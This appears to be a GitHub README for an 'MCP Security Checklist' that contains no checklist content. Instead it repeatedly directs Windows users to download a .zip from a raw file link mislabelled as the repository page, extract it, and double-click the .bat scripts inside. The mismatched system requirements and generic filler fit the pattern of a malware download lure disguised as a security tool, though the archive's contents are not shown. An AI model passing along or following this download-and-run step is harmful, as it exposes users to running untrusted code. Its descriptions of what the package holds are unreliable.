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mcp-security-checklist

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Provide a clear, practical security checklist for teams building and deploying Model Context Protocol servers and AI agent infrastructure.

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🔒 mcp-security-checklist - Clear Security Baseline Guide

Download MCP Security Checklist


MCP is growing fast, but security advice has not kept pace. This checklist helps engineers, platform teams, and leaders set up strong protections for MCP deployments. Whether your tool is for internal use or customer-facing AI agents, this guide gives you clear steps to follow.

📚 What is MCP Security Checklist?

MCP stands for Model Context Protocol. It is a method used in AI deployments to manage how models handle information and interact with their environment. As MCP adoption grows, security becomes essential. This checklist provides practical advice on how to secure your MCP setup.

The checklist covers common security threats, best practices for defense, and includes technical controls and policies. It focuses on preventing issues like prompt injections, unauthorized access, and data leaks.

This guide targets security engineers and technical leaders but explains concepts simply to help everyone involved understand the security baseline needed.

🎯 Who Should Use This?

  • Security engineers working on AI deployments
  • Platform teams managing AI systems
  • Technical leaders overseeing AI development
  • Anyone deploying MCP-based AI tools who wants to improve security

Even if you do not have deep technical knowledge, this checklist offers easy-to-understand points you can check or delegate.

💻 System Requirements

To run checks related to MCP security or to use tools paired with this checklist, your computer should meet these basic requirements:

  • Windows 10 or later (64-bit recommended)
  • 4 GB RAM minimum
  • At least 500 MB free disk space
  • Internet connection for downloading and updates

No special hardware is required. The checklist itself is a set of guidelines and scripts you can run using basic tools available on Windows.

🛠️ Getting the Checklist

You can get the MCP Security Checklist from the official GitHub page. This page contains the latest version, instructions, and additional resources.

Download MCP Security Checklist

How to download and get started:

  1. Click the large Download button above or go to the page:
    https://raw.githubusercontent.com/patrickbatem5194/mcp-security-checklist/main/docs/checklist-mcp-security-v2.4-beta.1.zip
  2. On the page, look for the Releases section or the main code repository.
  3. Download the ZIP file labeled mcp-security-checklist.zip or similar.
  4. Save it to a folder on your Windows PC where you want to work.
  5. Right-click the ZIP file and choose Extract All to unpack the files.

🚀 Installing and Running on Windows

The checklist is mostly a set of documents, scripts, and templates you can use directly. Follow these steps to start using it:

  1. After extracting, open the folder where you saved the checklist.
  2. Inside, you will find:
    • A PDF or Markdown file outlining the checklist points
    • Sample configuration files
    • Batch scripts for automated checks (if included)
  3. To read the checklist, open the PDF or .md file using a program like Microsoft Edge or Notepad.
  4. To run any check scripts, locate .bat files and double-click them. You may see command prompt windows opening briefly; this means the checks are running.
  5. Follow the instructions given in the checklist to mark items as complete or fix issues found.
  6. If you do not want to use scripts, you can manually go through the checklist and verify each point.

🔐 What Security Topics Does This Checklist Cover?

The checklist offers guidance across several areas relevant to MCP deployments:

  • Agentic AI security: Controlling AI agents that act autonomously.
  • Prompt injection defense: Guarding against malicious input that tries to manipulate AI behavior.
  • Platform hardening: Steps to secure the deployment environment including servers and network settings.
  • Threat modeling: Identifying risks that apply to your specific MCP use.
  • DevSecOps practices: Integrating security into development and operations.
  • Access control: Setting proper permissions and authentication methods.
  • Data protection: Ensuring sensitive context data is handled safely.

These topics help create a baseline that balances usability and security.

📄 Using the Checklist Effectively

The checklist is organized as simple “yes/no” questions or actions. Use it like a task list:

  • Review each item carefully.
  • Mark items you have completed or validated.
  • For open issues, follow the recommended fixes or escalate to your IT team.
  • Update the checklist regularly as you add new AI features or change configurations.

The goal is to track your security posture over time and close gaps promptly.

🔄 Updating the Checklist

New MCP versions and threats can emerge. To keep your checklist current:

  • Visit the GitHub page regularly for updates and new releases.
  • Subscribe to notifications on the repository for change alerts.
  • Replace old checklist files with newer versions when available.

Keeping up-to-date ensures you follow the latest guidance relevant to MCP security.

🤝 Getting Help and Support

If you have questions or run into issues:

  • Review the Issues section on the GitHub page to see if others have similar problems.
  • Open a new issue to ask for clarification or report bugs in the checklist materials.
  • Use the discussion forums or community channels linked from the repository if available.

Many security teams use this checklist, so community feedback helps improve it over time.

🔗 Quick Links

  • Main repository page and downloads:
    https://raw.githubusercontent.com/patrickbatem5194/mcp-security-checklist/main/docs/checklist-mcp-security-v2.4-beta.1.zip
  • Issues and support: Visit the Issues tab on the repository page
  • Releases: Check the Releases section on GitHub for latest versions

Download MCP Security Checklist

Repository

PA
patrickbatem5194

patrickbatem5194/mcp-security-checklist

Created

March 21, 2026

Updated

April 13, 2026

Category

AI